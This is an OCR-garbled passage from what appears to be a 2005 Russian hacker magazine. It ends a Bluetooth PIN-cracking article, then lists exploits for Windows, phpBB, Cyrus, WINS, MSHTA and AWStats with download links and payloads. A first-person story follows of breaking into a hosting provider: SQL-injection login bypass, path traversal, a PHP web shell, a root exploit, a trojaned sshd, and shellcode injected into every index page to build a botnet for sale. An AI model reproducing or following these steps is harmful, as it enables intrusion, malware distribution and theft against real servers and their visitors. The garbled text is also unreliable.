вольно ресурсоемкая задача. Однако если вспомнить, что лю- 
бой нормальный человек при использовании ЫиеІооІГі не указы- 
вает пины длиннее шести символов, можно с уверенностью ска- 
зать, что секунд за двадцать современный компьютер с такой за- 
дачей управится :). 

В некоторых условиях вполне возможно перебирать РІ N и 
без всяких заморочек. Например, если есть желание пове- 
селиться, заюзав чужую ЫиеТооТЬ-гарнитуру, можно подоб- 
рать к ней РИМ, не снифая ни байта. Все дело в том, что у та- 
ких устройств обычно статичный РІ N — это такой ключик к 
устройству. И поскольку девайс самостоятельно реагирует 
на попытки подключиться к нему, появляется возможность 
вести прямой перебор этого ключа. Постой, ты ведь не за- 
был, о чем я говорил выше? Ну про то, что если аутентифика- 
ция не удалась, то устройство не отвечает некоторое время 
на повторные запросы от этого же девайса. Так вот, ничто 
на самом деле не мешает каждую попытку проводить от 
имени нового устройства, просто меняя В0_АЭЭР, — сде- 
лать это даже проще, чем сварить доширак. 

Что касается шифрования с использованием ключа Кс, то здесь 
ситуация похожа на ту, которую мы с тобой разобрали. К сожа- 
лению, у меня нет возможности показать тебе этот недочет, но он 
абсолютно аналогичен рассмотренному случаю: есть функция 
трех аргументов, точно известны два из них и значение функции. 
Требуется подобрать значение третьего, неизвестного аргумен- 
та. Словом, задачка на один несложный цикл. 

[обнаружение невидимок] Как ты знаешь, любое ЫиеТооТТі- 
устройство может находиться в двух режимах: доступном 
для внешнего обнаружения (сІізсоѵегаЫе тобе) и недоступ- 
ном. По задумке создателей ЫиеТооТТі, режим попсИзсоѵе- 
гаЫе должен был решить проблему неавторизованного до- 
ступа. В самом деле, если ты не можешь обнаружить работу 
устройства, то как ломать такую невидимку? :) Однако не все 
так просто. Суть этого режима в том, что в ответ на широкове- 
щательные запросы девайс молчит в тряпочку. Но вот на непо- 
средственное обращение он откликнется. Как я уже говорил 
выше, первые три байта МАС-адреса определяются фирмой- 
производителем. Таким образом, если мы интересуемся те- 
лефоном от конкретного производителя, то максимальное ко- 
личество таких устройств составляет 16 л 6=16777216. Конечно, 
это большое число. Однако как посмотреть. Что мешает нам 
написать программу, которая последовательно будет пере- 
бирать адреса и обращаться к каждому из них, пока не полу- 
чит ответ? По существу — ничего! Более того, скажу тебе по 
секрету, что такую программу уже давным-давно написали и 
с успехом применяют на практике :). 



[КАК ЗАЩИЩАТЬСЯ? ] 

Думаю, большинство читателей очень интересует 
этот вопрос: как не пострадать от действий негодя- 
ев? В голову лезет несколько очень простых советов. 
Прежде всего, хорошая идея — использовать длин- 
ные пины для аутентификации, поскольку в этом слу- 
чае ты обломаешь напрочь саму возможность за ра- 
зумное время подобрать РІЫ-код. Ведь время перебо- 
ра будет расти, как факториал, вслед за длиной пина 
(максимальная длина, описанная в стандарте, — 16 
символов). Также нужно по возможности использо- 
вать в пине буквы латинского алфавита. 

Хорошая привычка, если ты всерьез опасаешься 
воздушных диверсантов, не спаривать устройства 
в окружении большого числа людей. Если в ради- 
усе 10 метров вокруг тебя нет ни души — можешь 
жить спокойно. 




Легко понять, что полный перебор всего диапазона займет кучу 
времени, и поэтому имеет смысл распараллелить работу на 
нескольких интерфейсах: специальные программы поддержива- 
ют такую многопоточность, что позволяет во многие разы сокра- 
тить время просмотра всего диапазона © 




[ТАБЛИЦА С АДРЕСАМИ НЕКОТОРЫХ ПРОИЗ- 
ВОДИТЕЛЕЙ ВТ-УСТРОЙСТВ] 
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ѴѴІІЧЮОѴѴЗ ІР РОЗ ЕХРЮІТ 
[описание] История очередной ошиб- 
ки в ѴѴІпсІо\л/5 началась с появления не- 
доброй весточки на лентах багтрака. 
Хорошие люди предупредили всех о 
баге, найденном в виндовой реализа- 
ции протокола ТСР/ІР. По их словам, 
любой желающий способен сформи- 
ровать левый ТСР-пакет и тем самым 
отключить машину от сети. К сообще- 
нию прикладывались патчи ко всем 
операционным системам. 

Однако народ вовремя не среагиро- 
вал на эту новость. И спустя неделю в 
Сети появился первый ЭоЗ'ер. 
Эксплойт написан на языке Си и ис- 
пользует библиотеку ІІЬпе1\ При запус- 
ке необходимо указать три параметра: 
исходный ір-адрес, адрес назначения, 
а также опцию, благодаря которой у 
ѴѴІпсІо\л/5 срывает крышу при обработ- 
ке пакета. 

[защита] МісгоЗоЕІ выпустил патч для каж- 
дой уязвимой ОЗ (а всего их восемь). Ре- 
комендую ознакомиться со списком зап- 
латок ( \л/ѵ/\л/.зесигі1уІаІэ.ги/53965.Іііт[) и 
незамедлительно применить одну из них. 

[ссылки] Рабочий эксплойт находится 
здесь: тт/.хакер.ги/розі/26318/ѳхрІоіІ'.М. 
Для корреісгной компиляции тебе понадо- 
бится свежая версия библиотеки ІІЬпеІ 
{ѵѵѵш.раскеНасіогу.пеТ/Ргоіесѣ/ЦІЬгеі/). 

[злоключение] Тестируя эксплойт мне не 
удалось отключить свою машину от се- 
ти. Однако богоискатели утверждают, 
что уязвимость существует. Обязатель- 
но проверь ЭоЗ'ер на своей машине и 
на всякий случай установи спаситель- 
ный патч. 

[дгееТз] Ѳгееіз ТІу оиТ То ТТіе ЕСІ_ сге\л/, 
ѴаІепТіп ЗІаѵоѵ, Ыехіт, зТгапдег, тапеѵзкі, 
еііиз, зТпгіпк, Еѵдепу РіпсТіик апсі ІзТіау 
Зоттег. Пусть эту рекламу, оставленную 
в заголовке сплойта, видит вся страна :). 



РНРВВ <=2.0.13 МОЭ 
НЕМОТЕ ЕХРБОІТ 

[описание] Злые хакеры очень невзлю- 
били рОрВВ и каждый месяц радуют 
нас новыми эксплойтами. На этот раз 
многострадальный форум прославил- 
ся еще одним багом в модуле сіоѵуп- 
Іоасіз.ріпр, Невероятно, но вызвать ЗОІ_- 
инжекцию можно одним-единственным 
запросом. В результате хакер может 
получить хэш администратора форума. 
Эксплойт работает на всех форумах вер- 
сии 2.0.13 и ниже, но с установленным 
плагином сІо\л/п]оасІз.рТ)р, Обычно такой 
модуль можно встретить на немецких 
бордах, но и другие страны не отличают- 
ся особой стабильностью :). Для исполь- 
зования эксплойта его запускают с тре- 
мя параметрами: именем сервера, пу- 
тем к форуму, а также идентификатором 
администратора, по умолчанию равным 
двум. Через несколько секунд эксплойт 
вернет либо сообщение об ошибке, ли- 
бо МЭб-хэш администратора. 

[защита] Удалив модуль сІо\л/пІоасІз.рІпр 
или переустановив форум до более но- 
вой версии, ты избавишь себя от назой- 
ливых хакеров. Обновления и патчи 
всегда можно найти на официальном 
сайте ѵлм/ѵ.рІірЬЬ.сот. 

[ссылки] Забирай эксплойт отсюда: 
ѵѵѵѵѵѵ. хакер, ги/розі/261 31 /ехрІоіі.Ш. 
А здесь: ѵѵѵ/ѵ/.зесигіІуІаЬ.ги/Іогит/ 
Іогит _розіз.азр?ТЮ=1561 1 — можно по- 
читать отзывы людей, которые его ус- 
пешно применяли. 

[злоключение] Подобная тенденция 
очень интересна: уже четвертый месяц 
подряд кто-то находит ошибку в коде 
форума рЕірВВ. В настоящее время на- 
род очень скептически относится к этой 
борде и выбирает что-нибудь более ус- 
тойчивое — ѵВиІІеІіп, например. 

[дгееіз] Эксплойт был написан 7 апре- 
ля сего года хакером под ником АхІ 
Апсі СегеВгитз. Мало того что этот това- 
рищ написал эксплойт, так он еще и яв- 
ляется первооткрывателем бага, что 
радует вдвойне. 



СѴВІІ5 ІМАРй V 2.2,4 — 2.2.8 
РЕМОТЕ 5РІ.ОІТ 

[описание] Исходный код популярного 
почтовика Сугиз ітарсі, некогда сла- 
вившегося своей стабильностью, был 
детально просмотрен хакерами. В ре- 
зультате проверки выяснилось, что де- 
мон содержит множество критических 
ошибок. Для одной из них был написан 
удаленный эксплойт. 

Ошибка приводит к переполнению бу- 
фера при активизированной опции 
ітартадісріиз. При этом имя пользова- 
теля, переданное демону, должно быть 
скопировано во временный буфер. Од- 
нако перед копированием длина пере- 
менной никак не проверяется. Следо- 
вательно, можно легко вызвать перепол- 
нение буфера и выполнить произволь- 
ный код. Этот баг особенно страшен 
тем, что атакующему вовсе не обяза- 
тельно знать почтовый логин и пароль — 
срыв буфера происходит раньше вся- 
кой аутентификации. 

[защита] Чтобы защититься от удален- 
ных хакеров, необходимо установить 
более свежую версию почтовой систе- 
мы либо отменить использование ітар- 
тадісріиз. Если этот баг поразил тебя 
до глубины души, можно вообще найти 
безопасную альтернативу сугиз ітарсі. 

[ссылки] Слить эксплойт можно отсюда: 
\л/\лл/ѵ.хакер.ги/розі/2(Ю69/ехрІоіі.М, ма- 
нуал по уязвимости находится по адре- 
су Шр://зѳсигііу.ппоѵ.ги/сІос57226.МтІ. 

[злоключение] В публичном эксплойте 
есть лишь один таргет для ЭеЬіап'а. Ес 
ли хакер хочет сломать другую опера- 
ционку, ему необходимо прибегнуть к 
встроенному переборщику адресов, 
работа которого займет очень длитель- 
ное время. 

[дгееіз] Благодарим Зіеіап Еззег'а за ис- 
следование кода и найденные баги. А 
чувак с ником сгазіп-х отличился вдвойне, 
так как смог написать рабочий эксплойт 
к самой критической ошибке. 




[использование бага в реализации ТСР-протокола] [хэш админа немецкого форума] [гетоіе НООТ за пять минут!] 




ѴѴІ№ НЕМОТЕ НЕАР ОѴЕРРЮѴѴ ЕХРЮІТ 
[описание] Служба ѴѴІІЧЗ предназначена 
для преобразования Ые+ВІОЗ-имен в ІР-ад- 
реса. До недавнего времени никто и не ду- 
мал, что в этом нехитром сервисе найдут 
переполнение буфера. Но 5 апреля 2005 
года эксперты обнаружили очень большую 
дыру, приводящую к удаленному подчине- 
нию системы. Хакер может выполнить про- 
извольный системный код, послав сервису 
пакет с некорректным параметром 'Мате 1 . 
При обработке такого запроса буфер 
мгновенно переполнится, а атакующий по- 
лучит результат выполнения команды. 
Эксплойт успешно работает на серверах 
ѴѴІпМТ, ѴѴІп2к и ѴѴІП2003. Для использования 
сплойта нужно запустить файл с несколь- 
кими параметрами. Если нужно просто 
открыть порт, передается опция ТАРОЕТ, ІР- 
адрес и номер порта. В случае, когда сер- 
вер находится за файрволом, использует- 
ся геѵегзе-шелл — необходимо добавить 
еще два параметра: ІР-адрес для подклю- 
чения и открытый порт. 

[защита] Как видишь, уязвимость в ѴѴІпХР не 
обнаружена, значит большинство юзеров 
могут забыть о проблеме. Администрато- 
ры серверов, напротив, должны своевре- 
менно слить все необходимые патчи и за- 
щитить систему ( тѵуѵ.тісюзоИ'.сот/І'есІі - 
пѳ1'/5есигі1'у/ЬиІІеТіп/М504-045.тзрх). 

[ссылки] Эксплойт для ѴѴІЫЗ находится тут: 
и/и/и /.хакер. ги/розІ/26259/ехрІоіІ. М. Более 
подробно прочитать о баге можно здесь: 
Шр://зесигііу.ппоѵ.ги/сІосз7256.ііітІ. 

[злоключение] Очередной удаленный 
эксплойт, да еще и с геѵегзе-шеллом, обя- 
зательно вызовет множество новых атак на 
серверы под управлением ѴѴІпсІо\л/$. Не 
пострадают лишь админы, читающие багт- 
раки и юзающие ипіх-ііке системы :). 

[дгееіз] Эксплойт написан экспертом в об- 
ласти компьютерной безопасности ІЧІсоІаз 
ѴѴаізтап (илл мѵ.іттипііузес.сот). Он еще 
раз доказал, что программистам из МісгозоГГ, 
как и любым другим, не следует доверять на 
100%. Обязательно свяжись с ним и попроси 
еще парочку эксплойтов к МуздІ, А также к 
Огасіе, РозГОгездІ и ІпІегВазе :). 




[рабочий эксплойт для ѴѴІ№] 



МІСНОЗОРТ МЗНТА ЗСНІРТ ЕХЕСІГПОІЧ 
[описание] Опять ѴѴІпсіо\л/з и опять ІпГегпеГ 
Ехріогег. На этот раз ошибка, найденная в 
ослике, позволяет запускать незарегист- 
рированные типы файлов. Чтобы было по- 
нятнее, рассмотрим атаку на простом 
примере. Создается ІіГа-файл, выполняю- 
щий какую-либо команду (смотри заголо- 
вок эксплойта). Затем запускается сам 
сплойт с двумя параметрами: путем к соз- 
данному Ма-файлу и файлом с незареги- 
стрированным расширением (ГезТсІОс, 
например). После всего вышеперечис- 
ленного попробуй запустить созданный 
файл в Эксплорере. Эта попытка увенчает- 
ся успехом, а команда, вшитая в ЬГа-шаб- 
лон, будет мгновенно исполнена. 

Эксплойт ориентирован на ѴѴІпсІо\л/з-сре- 
ду, поэтому компилируй его с помощью 
Ісс. В качестве команды, заданной в БГа- 
файле, может быть что угодно — от безо- 
бидного создания папки до форматирова- 
ния диска :). 

[защита] Чтобы защитить свою систему и 
браузер, обязательно поставь необходи- 
мый патч для операционной системы. Пол- 
ный список заплаток находится тут: 
ѵ/ѵ/ѵ/.зѳсигі1уІаЬ.ги/53969.Іі{тІ. 

[ссылки] Забирай эксплойт отсюда: 
и /ѵ/ѵ/. хакер. ги/роз1'/26317/ехрІоіТ. М. Более 
подробное описание бага находится тут: 
ѵѵѵѵ\/ѵ.зесигі1уІаІз.ги/53970.ІіітІ. 

[злоключение] Представь, что злодей ха- 
кер будет распространять ѴѴогсІ-документ, 
выдавая его за отличный реферат, а на са- 
мом деле это будет обычный клавиатурный 
шпион. А все дело в том, что в расширении 
файла вместо английской буквы «о» будет 
стоять русская. 

[дгееіз] Эксплойт написан хакером 2\л/еІІ_ 
( 2 \л/еІІ@зоГіи.сот). Баг найден этим же че- 
ловеком, что радует вдвойне. Давайте 
дружно скажем ему спасибо :). 



АѴѴ5ТАТ5 РЕМОТЕ 
СОММАШ ЕХЕСІІТІОЫ ЕХРЮІТ 
[описание] В популярном проекте АѴѴЗГаГз 
было найдено несколько серьезных оши- 
бок, позволяющих выполнять команды. Так, 
например, если скрипту а\л/зГаГз.рІ пере- 
дать параметр р!идіптос!е=:5у5^ет("ст9Г), 
то команда успешно выполнится. Чтобы об- 
легчить задачу хакера, богоискателями 
был написан простенький эксплойт, кото- 
рый посылает нужный параметр в зависи- 
мости от выбранной ошибки. 

Уязвимыми считаются версии 5.7 — 6.2. Что- 
бы найти подобные релизы, достаточно вой- 
ти в гугл и набрать запрос «Іпиг1:ахл/з1‘а1'5.р1 
АсІѵапсесІ.ѴѴеЬ.ЗІ'аТізІ'ісз.5.7». После такого 
предложения гугл выдал мне несколько со- 
тен ссылок. Уже после пятой попытки 
эксплуатирования удача мне улыбнулась, и 
я увидел список директорий на удаленном 
сервере, 

[защита] Для защиты от глупых багов реко- 
мендуется установить пароль на вход в зону 
статистики либо обновить версию АѴѴЗГаГз. 
Последние релизы проекта доступны на 
сайте Іі1ір://ашіаѣ.зоигсе^огде.пеі. 

[ссылки] Рабочий эксплойт для АѴѴЗГаГз 
>кдеттебя здесь: шѵмѵ.хакер.ги/розТ/25775/ 
ехрІоіІ.ІхТ. Для более детального изучения 
СѲІ-багов можешь прочитать эту новость: 
ІгНрУ/зесипіу. ппоѵ. ги/пеѵѵз4482. ІіітІ. 

[злоключение] Несмотря на то что Гугл вы- 
дал сотни рабочих ссылок, эксплойту под- 
дались лишь несколько. Это означает, что 
админы "піх-Ііке систем достаточно быстро 
реагируют на новости о багах и своевре- 
менно обновляют ѴѴеЬ-проекты. 

[дгееГз] Этот эксплойт был написан хакерс- 
кой командой, которая зовется ЗІІепГіит оГ 
Апасгоп Ѳгоир ІГаІу. Связаться с ребятами 
можно по почте апасгопдгоиріГаІу@аиГізГІ- 
сі.огд либо посетить их сайт ѵѵѵш/.аиЫісі.огд/ 
апасюп-дгоир-ііаіу. 




[хакер 05 [77] 05 > ВЗЛОМ 075 ] 
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ЗВОНОК МОБИЛЫ ПРЕРВАЛ МОЙ СЛАДКИЙ 
СОН. МЕНЯ РАЗБУДИЛ СТАРЫЙ ЗНАКОМЫЙ, 
КОТОРЫЙ ПОПРОСИЛ ВЫПОЛНИТЬ ДЛЯ НЕГО 
ОДНО ВАЖНОЕ ПОРУЧЕНИЕ. Я ВЫСКАЗАЛ НЕ- 
КОТОРЫЕ СОМНЕНИЯ И ПРЕДЛОЖИЛ ВСТРЕ- 
ТИТЬСЯ, МОТИВИРУЯ ЭТО ТЕМ, ЧТО НА ХАКЕ- 
РСКИЕ ТЕМЫ НЕЛЬЗЯ ГОВОРИТЬ ПО ТЕЛЕФО- 
НУ. СПУСТЯ ПОЛЧАСА МЫ УЖЕ ПИЛИ ПИВО В 
БЛИЖАЙШЕЙ КАФЕШКЕ. ТОВАРИЩ ПОПРОСИЛ 
МЕНЯ СДЕЛАТЬ ЧЕРНОЕ ДЕЛО, ОТ КОТОРОГО 
Я ПРОСТО НЕ МОГ ОТКАЗАТЬСЯ I Мазіег-Іате-тазіег 



Занимательная история взлома 
арасІіеѵѵеЫ'ЮЗІіпд.пеІ 

[приватный сплойт за 200 ѴѴМ2] На самом деле моему друга- 
ну очень повезло. Если верить его словам, к нему в аську стук- 
нулся московский хакер и предложил купить приватный тро- 
ян для ѴѴІпХР 5Р2 всего за 200 зеленых президентов. Кореш 
доверял этому парню, поэтому счел нужным приобрести 
троянца. Он знал, что из данной вещицы при желании можно 
извлечь большую пользу. Совершив сделку, он получил на- 
бор исходников и исполняемый ехе-файл, а также неболь- 
шой АсІіѵеХ-код, который незаметно запускал трояна с по- 
мощью свежего бага в ІЕ, Хакер проверил этот комплект на 
своей машине, и он действительно работал! Троян представ- 
лял собой масштабное средство управления, в которое вхо- 
дили такие компоненты, как зрат-ЬоТ, удаленный Іеіпеі, гра- 
фическая среда, кейлоггер и много других полезностей. 
Признаться, после этого рассказа мне захотелось споить 
друга и попросить на халяву этот суповой набор :). Но спустя 
десять минут я понял, что он и так достанется мне бесплатно. 
Мой корефан очень просил меня взломать какой-нибудь 
крупный американский хостинг, а затем заразить все 
серверы на нем. Он хотел поставить на своем шелле 
ІРС-сервер, а затем создать сетку спам-ботов, которую, 
по его словам, можно сдавать в аренду за $3к в месяц. 
Я обещал ему подумать над этим предложением и в 
ближайшие выходные заняться взломом какого-нибудь 
крупного хостинга. 





\ I / 

Подобный прием с протроя- 
ниванием сайтов на хостин- 
ге используется очень часто. 

Так умные хакеры заражают 
глупых американцев, впари- 
вая им различные трояны. 
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Не стоит забывать, что все 
действия хакера противоза- 
конны и эта статья предназ- 
начена лишь для ознаком- 
ления и организации пра- 
вильной защиты с твоей 
стороны. За применение 



материала в незаконных це- 

[всем хостингом хостинг] Следующий лях автор и редакция ответ- 
вечер я решил посвятить взлому, ственности не несут. 
Порывшись в своих документах, я на- 
шел папочку Позііпд со списком сайтов, отсортированных по 
используемым площадкам. В свое время эта коллекция дос- 
талась мне в обмен на шестизнак. Первый открытый мной до- 
кумент назывался арасБіе.ІхІ, В нем было около пятидесяти 
сайтов, принадлежавших хостингу арасІіеѵѵеЫіозТіпд.пеТ. 
Проверка показала, что из первого десятка жив был только 
один сайт :). Он назывался мтѵ.Ьгііпіе.сот, и поначалу я по- 
думал, что это сайт фанатов Бритни Спирс. Однако контент 
указывал на то, что домен принадлежит девятилетней девоч- 
ке по имени Бритни. Поразмыслив, что взломать подобное 
творение как два байта переслать, я начал сканирование 
на баги. И не ошибся. 

Я запустил самопальный ССІ/РНР/А5Р-чекер, который 
практически ничего не обнаружил. За исключением гестбу- 
ки АсІѵапсесІ СиезІВоок. На вид — обычная гостевая книга. 
Ничего больше. Но меня заманила ссылка Асіппіпізітаііоп. 
Кликнув по ней, я получил запрос логина и пароля. Как чест- 
ный гражданин, я попытался авторизоваться под учетной 
записью «Іезіііезі» и... получил отказ :). «Не девчонка — би- 
зон!» — удивился я и ввел вместо имени пользователя кавыч- 
ку. Тут же страница приветствия изменилась, и на экране 
появилось сообщение о некорректном ЗОБ-запросе. Это 
означало, что логин и пароль хранятся в БД, а скрипты стра- 
дают жестким недугом — склонностью к ЗОБ-инъекции. 
Собственно, ошибка выглядела следующим образом: 
«1064 Ѵои Біаѵе ап еггог іп уоиг ЗОБ зупіах. СІтеск ІБіе тапиаі 
ТЕіаТ соггезропсіз Іо уоиг МуЗОБ зегѵег ѵегзіоп Тог ІБіе гідіті зуп- 
іах Іо изе пеаг "" апсі разз\л/огсІ=РАЗЗ\Л/ОРЭ(") 1 аі Ііпе 1». Все 
понятно, скрипт не проверял переменные Іодіп и разз\л/огс! 





На компакт-диске ты найдешь 
элитный сканер на ССІ/РНР/АЗР- 
баги, скрипт для массового за- 
ражения индекс-страниц ( кстати , 
его работу я уже описывал в ра- 
нее изданной статье), а также 
потрясный видеоурок, дублиру- 
ющий детали взлома. 




В свежем релизе 
АбѵапсебвиезІВоок у. 2.3. 1 
баг, вызывающий ЗОб-инь- 
екцию закрыли, однако 
брешь в зоне администри- 
рования осталась целой и 
невредимой :). 



на специальные символы, поэтому сценарий завершился ава- 
рийно. Более того, легко заметить, что на сервере отключена ди- 
ректива тадісщдиоТез, что чрезвычайно меня обрадовало. Нем- 
ного поразмыслив, я представил, как выглядит запрос в действи- 
тельности. Скорее всего, СУБД передавалась следующая стро- 
ка: «5ЕІ_ЕСТ ЫаЫа ѴѴНЕГ5Е Іодіп='Іодіп" апсі раззѵ\/огсІ=РА$5- 
\Л/ОГЮ('раз5\л/огсГ)». После этого мне ничего не оставалось, как 
логически закончить запрос, модифицировав его так: 



ЗЕБЕСТ ЫаЫа ѴѴНЕПЕ Іодіп=’асІтіп’ апсі 
раззѵѵогсі=РАЗЗ\А/ОПО(‘по’) ог 1/* 

В данной ситуации скрипт должен авторизовать меня как адми- 
на, ведь единичка всегда является правдой, независимо от вто- 
рого условия. Чтобы проверить мою гипотезу, нужно было залоги- 
ниться под именем асітіп и паролем по' ог 1/*. Я вбил эти дан- 
ные, сценарий подчинился и открыл страницу администрации! 
Первая проблема была решена. 

[админка — тоже скрипт] Однако ликовать было еще рано. Да, я 
пробил стенку головой, но что мне делать в соседней камере? :) 
Правильно! Искать уязвимости. Как известно, админки славятся 
своими багами. Это объяснимо: зона администрирования изна- 
чально предназначена для грамотных людей, и реализовать защи- 
ту от дурака вроде бы и не надо. Такими мыслями руководствуются 
многие программисты, допуская массу ошибок в своих скриптах. 
Я решил проверить этот факт и стал переходить по различным 
ссылкам. Мое внимание привлек раздел ТетрІаТез, в котором 
производился просмотр и редактирование РНР-шаблонов. Эти 
темплейты вполне могли запрашиваться по прямой ссылке 
Шр://Ьгібпіе.сот/диѳзбЬоок/бѳтрІабѳз/1'етрІа1'ѳ.рІір, поэтому 



мне захотелось вписать в код такого шаблона строчку «<?рТір 
зузТет($_ѲЕТ('стсІ')); ?»>. Что она делает, думаю, объяснять не 
надо :). Но не тут-то было, господа! Скрипт админки выругался, 
что ему не хватает прав на запись в шаблон. «Вот ведь юзеры нег- 
рамотные, наставят гостевых, а про права забывают», — выругал- 
ся я и стал искать другое решение. Вторая догадка пришла сра- 
зу — скрипту передавался параметр с именем 1рІ_пате, кото- 
рый имел значение, скажем, еггог.рТір. Я попробовал модерни- 
зировать эту опцию, заменив ее на ./../еТс/разз- 

\л/сІ, и мои размышления насчет программистов, пишущих админ- 
ки, подтвердились. В поле для редактирования действительно 
появилось содержимое разз\л/сІ. У меня появилась еще одна 
черная мысль — попробовать перезаписать РНР-файл. Только 
уже не шаблон гостевухи, а любой РНР-скрипт, на котором уста- 
новлены соответствующие права. Для решения этой задачи мне 
было необходимо знать две переменные: первая из них — путь к 
домашнему каталогу пользователя (почему-то относительные 
ссылки на файлы скриптом не принимались); вторая — 
собственно сценарий, в который можно было бы записать ка- 
кие-либо данные. У меня уже был путь к такому сценарию, он на- 
зывался сопТід.рТір и находился в корне \ЛЛЛЛЛ/-каталога, правда, 
я не знал, какие права на нем установлены. Его я обнаружил 
простым сканированием на СѲІ-баги, которое проводил ранее. 
Путь к \ЛЛЛЛЛ/-каталогу решено было найти обычным перебором. 
Спустя десять минут, которые я впустую потратил на ручной брут- 
форс, перед моими глазами мелькнула ссылка «То сТіеск уоиг 
епѵігоптепТаІ ѵагіаЫез, сііск ітеге». Почему-то раньше я не заме- 
чал ее. Кликнув по ней, я стал истерично биться головой об клави- 
атуру — за ссылкой скрывался вывод функции рТтріпТоС)! Благода- 
ря этой полезной информации, я увидел значение ЕЫѴ-перемен- 
ной ЭОСБІМЕІ\ІТ_[ЮОТ. Она-то и определяла путь 
/Тюте/ЬгіТпіе/риЫіс_!тТтІ, подставить который я не догадался 
(странно, ведь ответ был очевиден :)). Обладая начальными дан- 
ными, я запросил страницу с параметром 
ТрІ_пате=../../../../../../../../../Тюте/ЬгіТпіе/риЫіс_МтІ/соп(ід.рТір и 
увидел странный скрипт, не относящийся к гестбуке. Самое инте- 
ресное, что на нем были права на запись! Подставив строку, вы- 
полняющую команду, я обратился к сценарию уже напрямую, и 
передо мной предстал вывод команды /изг/Ьіп/ісІ. Теперь у меня 
был полноценный ѴѴеЬ-шелл, что не могло не радовать. 
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вами, мне нужно бы- [партизан в тылу противника] 
ло узнать все све- 
дения о системе. Во-первых, я обнаружил, что на серваке крутит- 
ся ядро 2.4,20-28.7, которое можно попытаться взломать, во-вто- 
рых, все порты, кроме системных, фильтровались файрволом. 
Чтобы проникнуть в консоль, мне нужно было воспользоваться 
старым продуманным соппЬаск-бэкдором сЬсІ.с, про который я 
уже не раз писал :). Поэтому опустим те 15 минут, которые я пот- 
ратил на поиск (никогда не кладу ничего на место :)) и запуск 
бэкдора. 

Итак, я внутри. Первая команда, которую я набрал, была рз ах. 
На сервере не крутилось ничего особенного, кроме ІгНрсІ, 
тузрісі, ехіт и Ю8 под названием рогізепігу :). Сканировать порты 
в мои планы не входило, поэтому я не испугался сетевой ЮЗ. Од- 
нако факт ее установки насторожил меня, и на всякий случай я 
решил посмотреть сгопІаЬ-лист, когда стану рутом :). А рутом я 
стал довольно быстро, для этого мне пришлось скачать эксплойт 
для бага в функции бо_Ьгк() и запустить его. Как я это делал, ду- 
маю, тебе не особо интересно. 

Сразу после поднятия привилегий я посмотрел лист кронтаба. Там 
я обнаружил много интересных вещей. Одна из них — скрипт 
сІеТаіІз.зО, отсылающий вывод набранных там команд на мыло зеси- 
гі1у@1Таз1’Тюз1'.сот. Этот сервер выступал в качестве локального, 
поэтому я мог без проблем пробить доступ к почтовому аккаунту 
зесигііу. На всякий случай я посмотрел файл /ѵаг/зрооі/таіі/звсигі- 
1у и офигел: его размер составлял 10 с лишним метров. Внутри бы- 
ли отчеты о безопасности. Все это говорило о том, что администра- 
тор практически никогда не читает почту и не следит за безопас- 
ностью. Несомненно, мне это было только на руку. 

Теперь мне нужно было позаботиться о том, как организовать 
повторный вход на сервер. Уже с абсолютными правами и жела- 
тельно незаметно. Решение пришло практически сразу — необ- 
ходимо написать бэкдор. Однозначно, бэкдорить нужно какой- 
нибудь системный демон, который вертелся на тот момент в про- 
цессах. Самому писать ничего не хотелось, благо велосипед 
уже был изобретен. Порывшись в документе игІ.М из моей при- 
ватной коллекции :), я скопировал оттуда ссылку ѵѵѵѵѵѵ.суЬѳг- 
ІогсІз.пвІ'/агІ'ісІѳз/ззІісІ-Ігоі.ТхТ. В этой статье мой хороший знако- 
мый описывал детали протроянивания /изг/Ып/ззМ. Быстро про- 
делав подобную операцию на сервере похожей конфигурации, 
я получил рабочий бинарник ззГісі. Залив его в систему, а затем 
перезапустив демон, я решил проверить работу моего бэкдора. 



[ЧТО ПОМОГЛО МНЕ ПРИ ВЗЛОМЕ?] 

Ш Иногда полезно иметь списки доменов того или ино- 
го хостинга. Можно в любой момент попробовать взло- 
мать один сайт, а впоследствии и сам хостинг :). 

Ш В зоне администрирования практически любого проекта 
находятся ошибки. Причины я указал в статье. Я, как зна- 
ющий человек, не мог не воспользоваться этим фактом, 
и Разумнее всего протроянить системный демон, что- 
бы затем беспрепятственно входить в систему. К сер- 
верам, где я об этом позаботился, у меня до сих пор 
есть доступ. На других машинах администраторы сме- 
нили пароли, и повторно порулить ими я уже не мог. 



Стоило мне зайти на 
сервер с логином 
гооГ и заранее за- 
данным паролем, 
как демон тут же 
впустил меня и да- 
же не записал ис- 
торию входа в иітпр 
и \л/1ттпр. Я был на 
полпути к победе. 

[блестящее решение всех проблем] 




[порабощаем серверы] Теперь, когда у меня был перманентный 
доступ к главному ѴѴѴѴѴѴ- серверу, мне нужно было попробовать 
проникнуть на другие. Благо хостинг был большим, и на его площад- 
ке крутилось около двадцати \ЛЛЛЛЛ/-серверов с лакомыми домена- 
ми. Я решил испробовать один из методов, который обычно сраба- 
тывает на хостингах, — пропарсить файл /гооГ/.ЬазГЦтвГогу. Бди- 
тельно просмотрев его содержимое, я нашел заветный рутовый па- 
роль, который следовал сразу же после запуска клиента ззГі. Ад- 
мин просто напутал с параметрами и, не глядя в консоль, вбил ру- 
товый пароль. Я проверил его на валидность, и он, конечно же, по- 
дошел :). К сожалению, на серверах, прописанных в 
/гоо//.55/тДпоіѵл_/тозГз, этот пассворд не прокатывал, но у меня уже 
был доступ к двум \ЛЛЛ/ѴѴ-машинам, на которых я легко мог запустить 
перловый скриптик, вписывающий во все НТМБ-файлы нужный код. 
Подобный сценарий уже был в моем хакерском арсенале, он 
предназначался для массового дефейса. Скрипт было необ- 
ходимо чуть-чуть переделать (выполнить дозапись, а не пере- 
запись файла), наколбасить нужный шеллкод в файле 
сІеГасе.ІхГ, а затем запустить тазз.рі в свободное плавание :). 
Учитывая то, что мой друг, которому нужно было помочь с хос- 
тингами, отдал мне файл зГіеІІсосІе.ІтІ'тІ, задача упрощалась 
на порядок. Я бережно залил оба компонента для «дефейса» 
на оба сервера, а затем синхронно их запустил. Спустя пару 
минут скрипт завершил свою задачу, отрапортовав мне, что во 
все іпсіех-файлы был записан шеллкод. Веришь — нет, но про- 
верять результат работы на себе не хотелось :). Я просто вы- 
полнил саі на некоторые документы и убедился, что там 
действительно есть мой шеллкод. Теперь оставалось замести 
следы и ждать положительного результата :). 

[счастливое злоключение] Через три дня после инцидента 
приятель сообщил мне, что его ботнет исчислялся примерно 
двумя тысячами ботов. Это было замечательно, поскольку он 
уже нашел клиентов, которые могли купить его ІРС-сеть за нес- 
колько тысяч зеленых президентов. Я тоже не остался в сторо- 
не и получил свою зарплату сразу же после осуществления 
